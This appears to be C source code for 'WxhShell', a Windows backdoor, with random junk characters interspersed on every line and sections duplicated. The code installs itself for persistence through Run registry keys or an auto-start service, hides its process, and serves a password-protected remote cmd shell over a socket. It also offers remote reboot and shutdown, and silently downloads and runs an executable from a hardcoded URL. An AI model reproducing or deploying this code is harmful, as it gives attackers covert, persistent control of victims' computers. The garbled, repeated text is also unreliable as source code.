}pYqWTG HANDLE hProcess; t!XwW$@ PROCESS_BASIC_INFORMATION pbi; Q?vlfZR`8 'NmRR]Q9 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JI}'dU>*U: if(NULL == hInst ) return 0; y0#2m6u %Zi} MPx g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UfGkTwoo= g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); = [E NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YWLj?+ <YY 14p if (!NtQueryInformationProcess) return 0; KPF1cJ2N a9gLg
& hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (HVGlw'` if(!hProcess) return 0; $Yq9P0Ya s_Sk0}e if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $i&zex{\ t_^4`dW` CloseHandle(hProcess); UNYqft4 Da|z"I
x hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I,tud!p` if(hProcess==NULL) return 0; vN:Ng J5qZFD HMODULE hMod; _)8s'MjA:& char procName[255]; ,bi^P>X unsigned long cbNeeded; 9w"*y#_ ^('wy}; if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TOt dUO
];m_4 CloseHandle(hProcess); .Mbz3;i0 tw;}jh if(strstr(procName,"services")) return 1; // 以服务启动 )5,v!X) <I?Zk80 return 0; // 注册表启动 W1~0_; } :;}P*T*PU i5Ggf"![ // 主模块 ye&;(30Oq int StartWxhshell(LPSTR lpCmdLine) lxx2H1([ { C+$#y2"z#n SOCKET wsl; Ui~>SN>s BOOL val=TRUE; XS#Qu=,- int port=0; uRvP hkqm struct sockaddr_in door; 6x`t{g]f, pBHRa?Y5 if(wscfg.ws_autoins) Install(); y(#e}z: ftb\0,- port=atoi(lpCmdLine); )9g2D`a4 q9"96({\@ if(port<=0) port=wscfg.ws_port; y[;>#j$ 1EK*g;H WSADATA data; ="+#W6bZT if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Txu/{M, cuX)8+ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; IGl9g_18 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e~OpofJNb door.sin_family = AF_INET; x2xRBkRg= door.sin_addr.s_addr = inet_addr("127.0.0.1"); F9PxSk_\9 door.sin_port = htons(port); i-1op> Y MgZ/(X E if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rq{$,/6. closesocket(wsl); /ZX}Nc g return 1; F?0Ykjh3 } &oNAv-m^GD #!=tDc
& if(listen(wsl,2) == INVALID_SOCKET) { ]Wup/o closesocket(wsl); F ,kZU$ return 1; ).O)p9 } }e1ZbmW Wxhshell(wsl); Gv&V|7-f0 WSACleanup(); iZmcI;?u PCA4k.,T return 0; *~`(RV Ry&6p>- } P}iE+Z3 G@0&8 // 以NT服务方式启动 4+n\k VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k6^Z~5
Sy { /r 5eWR1G DWORD status = 0; GgU/!@ DWORD specificError = 0xfffffff; st*gs-8jJ; \8tsDG(1 ' serviceStatus.dwServiceType = SERVICE_WIN32; >_}
I.\X serviceStatus.dwCurrentState = SERVICE_START_PENDING; ZCw]m#lS serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *p d@.|^)m serviceStatus.dwWin32ExitCode = 0; |Tw~@kT@ serviceStatus.dwServiceSpecificExitCode = 0; <@}9Bid!o serviceStatus.dwCheckPoint = 0; M|-)GvR$J serviceStatus.dwWaitHint = 0; A&{Nh` q zs;JJk^ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~[: 2I if (hServiceStatusHandle==0) return; INf&4!&h @HW*09TG status = GetLastError(); %y@AA>x! if (status!=NO_ERROR) 1M-pr 8:6s { ^Cmyx3O^ serviceStatus.dwCurrentState = SERVICE_STOPPED; 0(Ij%Wi, serviceStatus.dwCheckPoint = 0; ?%86/N> serviceStatus.dwWaitHint = 0; QJNFA}*> serviceStatus.dwWin32ExitCode = status; qR.Q,(b| serviceStatus.dwServiceSpecificExitCode = specificError; e!`i3KYn" SetServiceStatus(hServiceStatusHandle, &serviceStatus); R]dg_Da return; SuznN
L=/$ } PH"%kCI: E]6
6]+;0_ serviceStatus.dwCurrentState = SERVICE_RUNNING; .hiSw serviceStatus.dwCheckPoint = 0; l,
wp4Ll serviceStatus.dwWaitHint = 0; ]4{H+rw if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d _
e WcI } a?.=V B *vM0 // 处理NT服务事件,比如:启动、停止 598i^z{~0% VOID WINAPI NTServiceHandler(DWORD fdwControl) +"(jjxJm { CARzO7b\w switch(fdwControl) u>$t' { *VeRVaBl case SERVICE_CONTROL_STOP: g>sSS8RO serviceStatus.dwWin32ExitCode = 0; ':W[ A serviceStatus.dwCurrentState = SERVICE_STOPPED; OB7hlW serviceStatus.dwCheckPoint = 0; ddo#P%sH' serviceStatus.dwWaitHint = 0; vy/-wP|1 { F/Pep?' SetServiceStatus(hServiceStatusHandle, &serviceStatus); aT<q=DO } :KN-F86i return; q;U,s)Uz^ case SERVICE_CONTROL_PAUSE: H-%v3d>3 serviceStatus.dwCurrentState = SERVICE_PAUSED; $N\Ja*g break; |3%8&@ho case SERVICE_CONTROL_CONTINUE: C>~TI,5a3 serviceStatus.dwCurrentState = SERVICE_RUNNING; {t!!Uz 7 break; P$sxr case SERVICE_CONTROL_INTERROGATE: +3`alHUK break; m4& /s }; +{>=^9%X SetServiceStatus(hServiceStatusHandle, &serviceStatus); bfO=;S]b! } {U1m.30n kl,3IKHa // 标准应用程序主函数 nd(S3rct& int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
9akH { 3[&C g 8] ikygt" // 获取操作系统版本 E e]-qN*8 OsIsNt=GetOsVer(); qa6,z.mQ GetModuleFileName(NULL,ExeFile,MAX_PATH); or]IZ2^n _rYkis^u // 从命令行安装 V$~9]*Wn if(strpbrk(lpCmdLine,"iI")) Install(); {PmZ9 /@Zrq#o
zx // 下载执行文件 Df#l8YK# if(wscfg.ws_downexe) { 8V(pugJ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Kg$Mx WinExec(wscfg.ws_filenam,SW_HIDE); ??T#QQ } G\?YK.Y> oE~Bq/p if(!OsIsNt) { i?~3*#IpD // 如果时win9x,隐藏进程并且设置为注册表启动 H|D.6^ HideProc(); E E'!|N3 StartWxhshell(lpCmdLine); 2
FFD%O05 } iX\X>W$P else
BB'OCN if(StartFromService()) 2m[<]$ // 以服务方式启动 HmwT~ StartServiceCtrlDispatcher(DispatchTable); @A5?3(e else d/Q%IeEL. // 普通方式启动 ?
qA]w9x StartWxhshell(lpCmdLine); E!#WnSpnK }T$p)" return 0; HKr
Mim- } %#}Z y
9E tz[`| hzRYec( L:8q8i =========================================== `p7=t)5k S@Hf
&hJ ;'Nd~:-] WT}H>T #=v~8 3t6LT " [sb[Z:
OC:T
O|S:4 #include <stdio.h> eN~=*Mn(za #include <string.h> =>dGL| #include <windows.h> |a%Tp3Q~ #include <winsock2.h> So
5N5,u@= #include <winsvc.h> N&V`K0FU #include <urlmon.h> #!m.!?
O Qdp)cT #pragma comment (lib, "Ws2_32.lib") yH}s<@y;7 #pragma comment (lib, "urlmon.lib") 65m"J' GDy9qUV #define MAX_USER 100 // 最大客户端连接数 vA.MRu# #define BUF_SOCK 200 // sock buffer gl_^V&c #define KEY_BUFF 255 // 输入 buffer Lu0x
(/ T"}vAG( .O #define REBOOT 0 // 重启 :Xd<74Nu #define SHUTDOWN 1 // 关机 *
+wW(#[ C{XmVc. #define DEF_PORT 5000 // 监听端口 Zoc0!84<z Q?/o%`N #define REG_LEN 16 // 注册表键长度 ivz5H(b #define SVC_LEN 80 // NT服务名长度 o7LuKRl
I15{)o(8$ // 从dll定义API O s.4) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2Q"K8=s typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wIBO
^w\J typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g
SAt@2*U2 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q8Z<{#oXu ohGfp9H // wxhshell配置信息 M+9 gL3W struct WSCFG { t3Y:}%M int ws_port; // 监听端口 a+T.^koY char ws_passstr[REG_LEN]; // 口令 QW~1%` int ws_autoins; // 安装标记, 1=yes 0=no QS]1daMIK< char ws_regname[REG_LEN]; // 注册表键名 e01epVR; char ws_svcname[REG_LEN]; // 服务名 ig':%2V/ char ws_svcdisp[SVC_LEN]; // 服务显示名 m<qJcZk char ws_svcdesc[SVC_LEN]; // 服务描述信息 p`#R<K char ws_passmsg[SVC_LEN]; // 密码输入提示信息 klR|6u]% int ws_downexe; // 下载执行标记, 1=yes 0=no bB;5s`- char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %\Mo-Ow!\ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hzbw>g+ y[_Q- }; Uwx
E<=z
}sO&. ME // default Wxhshell configuration .JiziFJ@mj struct WSCFG wscfg={DEF_PORT, ~B(4qK1G "xuhuanlingzhe", A1?2*W 1, %(G* , "Wxhshell", 0f>5(ek "Wxhshell", "djw>|,N< "WxhShell Service", @)&=% "Wrsky Windows CmdShell Service", I[##2 "Please Input Your Password: ", g5QZ0Qkj 1, h"lv7;B$ "http://www.wrsky.com/wxhshell.exe", z4]api(xZ "Wxhshell.exe" o\pVp bB }; 2eol
gXp #@~+HC= // 消息定义模块 r|PB*` char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <r`2)[7N char *msg_ws_prompt="\n\r? for help\n\r#>"; q Xe8Kto char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {_Rr 6 char *msg_ws_ext="\n\rExit."; ~-J]W-n char *msg_ws_end="\n\rQuit."; QnsD,F; / char *msg_ws_boot="\n\rReboot..."; ,e6n3]W8 char *msg_ws_poff="\n\rShutdown..."; ~>h_#sIBC char *msg_ws_down="\n\rSave to "; {q=(x]C c{YBCWA char *msg_ws_err="\n\rErr!"; X,m6#vLK2 char *msg_ws_ok="\n\rOK!"; :#CQQ*@
T06BrX char ExeFile[MAX_PATH]; oD_n+95B
int nUser = 0; )tB:g.2k HANDLE handles[MAX_USER]; +n]z'pijb int OsIsNt; wR)U&da`@ ;?-A4!V, SERVICE_STATUS serviceStatus; |y,%dFNLf SERVICE_STATUS_HANDLE hServiceStatusHandle; B=E<</i -0W s3 // 函数声明 |?zFm
mh int Install(void); (XF"ckma int Uninstall(void);
58S >B' int DownloadFile(char *sURL, SOCKET wsh); 0K+a/G@
n\ int Boot(int flag); r]GG9si void HideProc(void); azEN_oUV int GetOsVer(void); /Y NV int Wxhshell(SOCKET wsl); +4 8a..4sN void TalkWithClient(void *cs); qnFi./ int CmdShell(SOCKET sock); "x;|li3; int StartFromService(void); F]_w~1
n5 int StartWxhshell(LPSTR lpCmdLine); 0A]+9@W; c34s(>AC VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0rnne
L VOID WINAPI NTServiceHandler( DWORD fdwControl ); w(>mP9Cb Y~FN`=O // 数据结构和表定义 I.C,y\ SERVICE_TABLE_ENTRY DispatchTable[] = H1!u1k1nl { +(a}S$C {wscfg.ws_svcname, NTServiceMain}, bSK> p3 {NULL, NULL} e}F1ZJz }; Qyh_o } "QV{W // 自我安装 "pa}']7# int Install(void) @;^7kt { #YABbwH char svExeFile[MAX_PATH]; `~~.0QC HKEY key; 0uw3[,I
strcpy(svExeFile,ExeFile); }&E'ox<S dfU z{ // 如果是win9x系统,修改注册表设为自启动 at N%csA0 if(!OsIsNt) { Mk:k0,z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
y<r@zb9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1Tb'f^M$ RegCloseKey(key); ~s$
jiA1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <KBzZ
!n5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '4T]=s~N RegCloseKey(key); mN!5JZ'2 return 0; W*S!}ZT` } :J
7p=sX } D&)w =qIu } -GqMis}c else { 1u%e7 wZAY0@pA // 如果是NT以上系统,安装为系统服务 'N7AVj SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O8!> t7x if (schSCManager!=0) nVSuvq|S { ?;q SC_HANDLE schService = CreateService Z`W@Od$f ( #]g9O ?0$ schSCManager, Boi?Bt wscfg.ws_svcname, iC$mb~G wscfg.ws_svcdisp, #iZ%CY\ SERVICE_ALL_ACCESS, P%CNu SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q5!"tF p SERVICE_AUTO_START, `1 tD&te0 SERVICE_ERROR_NORMAL, =7*k>]o svExeFile, !BQ:R(w NULL, u lqh}Uv' NULL, dxz.%a@PW NULL, 6wmMg i_m NULL, !)nA4l=S# NULL KX|7mr90K ); Ah|,`0dw if (schService!=0) qh40nqS;9 { Wej'AR\NX CloseServiceHandle(schService); K~U5jpc CloseServiceHandle(schSCManager); ]O\m(of
R strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "b#L8kN strcat(svExeFile,wscfg.ws_svcname); @@])B# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gGtl*9a= RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O|Z5SSlk RegCloseKey(key); RCgn\ return 0; 3T<aGW1 } [q<Vm- } ,g"[7Za CloseServiceHandle(schSCManager); +
Q $Jq } 7I_1Lnnf } }8zw| (GR, A-8[8J return 1; 7Zf
*T } rEM#J"wF &'0|U{| // 自我卸载 A<+veqb4 int Uninstall(void) #y?iUv { -=+@/@nV HKEY key; BnB]]<gO" w7;,+Jq if(!OsIsNt) { $O)fHD' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -9f>
rH\3 RegDeleteValue(key,wscfg.ws_regname); ;;3oWsil} RegCloseKey(key); p1O[QQ| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LRuB&4r8 RegDeleteValue(key,wscfg.ws_regname); q#mw#Uw- RegCloseKey(key); HZ+l){u return 0; qkLp8/G>pO } SGp}(j> } q>E[)\+y } c^?+"7oO0 else { I|SQhbi +W8L^Wl SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VY@6!9G if (schSCManager!=0) { +$zgg { {tN?)~ZQ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
RAh4#8] if (schService!=0) DUAI { dpTeF`N if(DeleteService(schService)!=0) { rZK;=\Ot CloseServiceHandle(schService); e[:i`J2 CloseServiceHandle(schSCManager); DC-tBbQkk return 0; lDV}vuM<4 } $r'PYGn CloseServiceHandle(schService); !
/^Jma7n } /ZeN\ybx CloseServiceHandle(schSCManager); k,kr7'Q } G 5T{* } zIeJ[J@ w|AHE return 1; c=52*& } Hy9c<X[F9 Vp.&X 8 // 从指定url下载文件 {wNNp't7 int DownloadFile(char *sURL, SOCKET wsh) M(8Mj[>>Rj { ,ezC}V0M HRESULT hr; jk\04k char seps[]= "/"; kW!`vQm~ char *token; ^Fe%1Lnt char *file; *>#mI/#} char myURL[MAX_PATH]; 9bxBm char myFILE[MAX_PATH]; AB1.l
hR &l0-0T> strcpy(myURL,sURL); 'PBuf:9lN token=strtok(myURL,seps); >B~vE2^tQ~ while(token!=NULL) s;9>YV2at { c2,;t)%@E file=token; UgBD|~zu token=strtok(NULL,seps); >cV^f6fH } P>wDr`* g:yUZ;U GetCurrentDirectory(MAX_PATH,myFILE); 4uV,$/ strcat(myFILE, "\\"); }R\9ybv
strcat(myFILE, file); ET1>&l:. send(wsh,myFILE,strlen(myFILE),0); 'cpO"d?{ send(wsh,"...",3,0); '/[9Xwh9 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); - UMPt"o if(hr==S_OK) uh8+Y%V
p return 0;
5'mpd else =/6rX"\P return 1; B/n/bi8T d ~`_;.z } KXtc4wra )=:gO`"D // 系统电源模块 M.(shIu!+ int Boot(int flag) j&qJK,~ { ^-|yF2>` HANDLE hToken; 2!y %nkO* TOKEN_PRIVILEGES tkp; j_I $d +n},[C{ if(OsIsNt) { Z
^w5x : OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +=qazE<:0 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NETji:d tkp.PrivilegeCount = 1; {Y p;R tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ! 54(K6a[ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `Qc_]CWYH if(flag==REBOOT) { j+E[[
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OGC|elSM return 0; =)p/p6 } CK{.Ic^ else { x,3oa_'E if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [p%OIqC`pB return 0; cHG>iW 9C } yU"'h[^ } %L^S;v3 else { KioD/
if(flag==REBOOT) { | gou#zi if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \qU .?V[2 return 0; "E><:_,\ } ,iUYsY else { lYz$~/sd if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6J\Yi)v< return 0; d_5wMK6O6 } <XfCQq/ } E7*z.3 &;)6G1X1 return 1; /wjL< } KLc<c1BZ >#MGGCGL // win9x进程隐藏模块 ) $wX~k void HideProc(void) `B^HW8 { m;v/(d> I&}Md73
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wN])"bmB if ( hKernel != NULL ) 9J$z/j;X { qX(sx2TK pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )eFq0+6*) ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JQ*CF(9 FreeLibrary(hKernel); /}]Irj4m } }b#KV?xgW =;1MpD return;
iG[an*#X } wec|~Rc- |7jUf$Q\p // 获取操作系统版本 . <|7BHL int GetOsVer(void) &k5 Z|d| { LWb5C{ OSVERSIONINFO winfo; [hf#$Dl| winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &&}' GetVersionEx(&winfo); F1@gYNbI, if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HDyus5g
return 1; x)hp3&L else B_k[N}|zD return 0; o3hsPzOQx } H\f.a R= 3B(6^iS // 客户端句柄模块 _RFTm.9& int Wxhshell(SOCKET wsl) gE/O29Y { /{. SOCKET wsh;
Tsez&R$k struct sockaddr_in client; @l0#C5(: DWORD myID; 7P`|wNq |wKC9 O@% while(nUser<MAX_USER)
R1YRqk { '3f"#fF6 int nSize=sizeof(client); (Ck|RojC wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /++CwRz@Gm if(wsh==INVALID_SOCKET) return 1; ZGHkW9b& qV$\.T>x handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y~T;{&wi if(handles[nUser]==0) "CdL?( closesocket(wsh); Tp.0@aC else , C88%k nUser++; y!SElKj } Y!LcS48X WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KZ/U2.{O< e9;<9uX return 0; (
w(GJ/g } /O1r=lv3Z @,D 3$P8} // 关闭 socket DUc
-D== void CloseIt(SOCKET wsh) ~3Y)o|D3 { 7hq*+e closesocket(wsh); #`5{?2gS9 nUser--; ~^QL"p:5| ExitThread(0); HTK79
+ } ,[}5@cS \}Jy=[ // 客户端请求句柄 F#KO!\iA+ void TalkWithClient(void *cs) Ycypd\q/ { W$7db%qFx xQX,1NbH5 SOCKET wsh=(SOCKET)cs; P 8DY*B k char pwd[SVC_LEN]; r3oAP[+n char cmd[KEY_BUFF]; E.]sX_X? char chr[1]; 6CBk,2DswI int i,j; wkK61ah6 jW5n^Y) while (nUser < MAX_USER) { t>QAM6[ B5>h@p-UV if(wscfg.ws_passstr) { %"~\Pu*> if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +U9Gj# //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J&w%lYiu5 //ZeroMemory(pwd,KEY_BUFF); &K5wCNX1 i=0; Bi9b"*LN while(i<SVC_LEN) { #/zPAcV: _Z'j%/-4@D // 设置超时 /w0l7N fd_set FdRead; S8mqz. struct timeval TimeOut; $e#p -z FD_ZERO(&FdRead); Kl<qp7o0 FD_SET(wsh,&FdRead); Z,/BPK<e TimeOut.tv_sec=8; K*Y.mM) TimeOut.tv_usec=0; }I;A\K] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5 7e'a&}e if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1TbY,3W 59gt#1k if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;
mF-y,E pwd=chr[0]; 8MgoAX,p if(chr[0]==0xd || chr[0]==0xa) { ;u!qu$O pwd=0; hko0
?z break; ''S*B|: } ?1JVzZ4H i++; u9rlNmf$ } I`kaAOe tbD>A6&VM} // 如果是非法用户,关闭 socket n5dFp%k if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iLw O4i } <U`lh b[,J-/;JNL send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4VINu9\V send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (y%}].[bB Ovh
while(1) { h}fz`ti U =zBcfFii`w ZeroMemory(cmd,KEY_BUFF); 22S4q`j I*_@WoI* // 自动支持客户端 telnet标准 xWlj.Tjt} j=0; =jIB5". while(j<KEY_BUFF) { K5gh7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `oP :F[B cmd[j]=chr[0]; W|J8QNL?jm if(chr[0]==0xa || chr[0]==0xd) { O\;Z4qn2= cmd[j]=0; lR[[]Yn break; x>vC;E${" } ogQY"c8 j++; (@*[^@ipV }
5Z/x Y& 4E]w4BG) // 下载文件 <6g{vNA if(strstr(cmd,"http://")) { "Mzb send(wsh,msg_ws_down,strlen(msg_ws_down),0); *4#)or if(DownloadFile(cmd,wsh)) O?e38(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); eS(\E0%QI else A g=>F5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /NfuR$oMd } rZ`ob x\S else { %PozxF: $5kb3x<W switch(cmd[0]) { KDr?<"2L vw VeHjR // 帮助 |?k3I/; case '?': { sy`@q<h( send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;sd[Q01 break; 94 58.!3 } Z5iP1/&D // 安装 ]OIB;h;3 case 'i': { )90 Q if(Install()) 4FURm@C6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); wSoIU,I else Q\.~cIw_AQ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jp=z
^l break; {3n|= } "D#+:ix8G| // 卸载 <QbD ; (% case 'r': { eV:I ::: if(Uninstall()) qv\n]M_& send(wsh,msg_ws_err,strlen(msg_ws_err),0); Iz Vb else iAD'MB send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YaiogA break; {Q9?Q? } (jb9U k_t // 显示 wxhshell 所在路径 -]yM<dP case 'p': { q"){PRTm/ char svExeFile[MAX_PATH]; |R$V[ strcpy(svExeFile,"\n\r"); XY %er strcat(svExeFile,ExeFile); ipzv]c& send(wsh,svExeFile,strlen(svExeFile),0); BG ,ln(Vz break; oz3N
8^M } ptJ58U$Bb
// 重启 #dyz case 'b': { )F_vWbg send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Do1 Ip&X if(Boot(REBOOT)) %siBCjvo= send(wsh,msg_ws_err,strlen(msg_ws_err),0); (gW#T\Eln else { 7{jB!Xj closesocket(wsh); l~
3 H" ExitThread(0); "^M/iv( } F}9!k LR break; +xoh=m } &1nZ%J9 // 关机 ."`mh&+` case 'd': { O3ij/8f send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KX8$j$yW if(Boot(SHUTDOWN)) kyV!ATL1F send(wsh,msg_ws_err,strlen(msg_ws_err),0); $D;/b+a else { vNdMPulr{ closesocket(wsh); /%qw-v9qPV ExitThread(0); 2;8I0BH*' } :+?eF^5 break; +]?/c>M } _#f+@)vR // 获取shell dU4 h case 's': {
kdmmfw CmdShell(wsh); =;tDYuFc! closesocket(wsh);
LYTx8 ExitThread(0); D1xIRyc/ break; jV W .=FK } 1#nR$ // 退出 %IAZU c case 'x': { ;Gf,I1d}{ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |A .U~P): CloseIt(wsh); A(Tqf.,G break; VIIBw } whH_<@! // 离开 b\{34z, case 'q': { *U<l$gajq send(wsh,msg_ws_end,strlen(msg_ws_end),0); oc|%|pmRd< closesocket(wsh); >JSk/]" WSACleanup(); |gV$ks\< exit(1);
nky%Eb[\ break; Pn?,56SD= } -'!K(" } DJWm7 t } kU75 \r.{Ru // 提示信息 jH5VrN*Q if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wSV}{9}wr% } NA :_yA" } s%cfJe_k yuef84~ return; t[r<&1[& } L- '{ B,xohT // shell模块句柄 tfAO#h tq int CmdShell(SOCKET sock) !^Ly#$-X { o[A y2"e? STARTUPINFO si; "VIoVu ZeroMemory(&si,sizeof(si)); *ku}.n si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^Rpy5/d si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9Z[EzKd<~' PROCESS_INFORMATION ProcessInfo; e=H,|)P char cmdline[]="cmd"; -J6G=+s/ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xj!G9x<! return 0; _o+z#Fn z } @$*LU:[
^ UDNp.6k // 自身启动模式
t@#l0lu$ int StartFromService(void) TXWYQ~]3w { \jpm
typedef struct K*/X{3 J; { rlpbLOG` DWORD ExitStatus; /cXVJ(#j DWORD PebBaseAddress; >WZ_) `R DWORD AffinityMask; Ovhd%qV;Y DWORD BasePriority; ! N!A% ULONG UniqueProcessId; x| =]Xxco ULONG InheritedFromUniqueProcessId; uE=pq<
} PROCESS_BASIC_INFORMATION; dI%#cf1 2R`dyg PROCNTQSIP NtQueryInformationProcess; V4CL%i eh6\y79g static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K;'s+ZD static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,7/F?!G!J GF/!@N HANDLE hProcess; 6>d0i
S@R PROCESS_BASIC_INFORMATION pbi; .l:x! w|G4c^KH HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 84f~.45 if(NULL == hInst ) return 0; GE!fh1[[u %NH{%K, g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3$n O@rOS g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r^Mu`*x* NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x!`~+f.6 zqlgJn if (!NtQueryInformationProcess) return 0; JBMJR 9NEL[J| hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~a06x^=j if(!hProcess) return 0; vwIP8z~< mhi^zHpa if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZD#{h J- *t_JR CloseHandle(hProcess); W&s@2y?rF N#&/d nV hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); py%_XL=w, if(hProcess==NULL) return 0; 9>!B .Z?!# P^-daRb
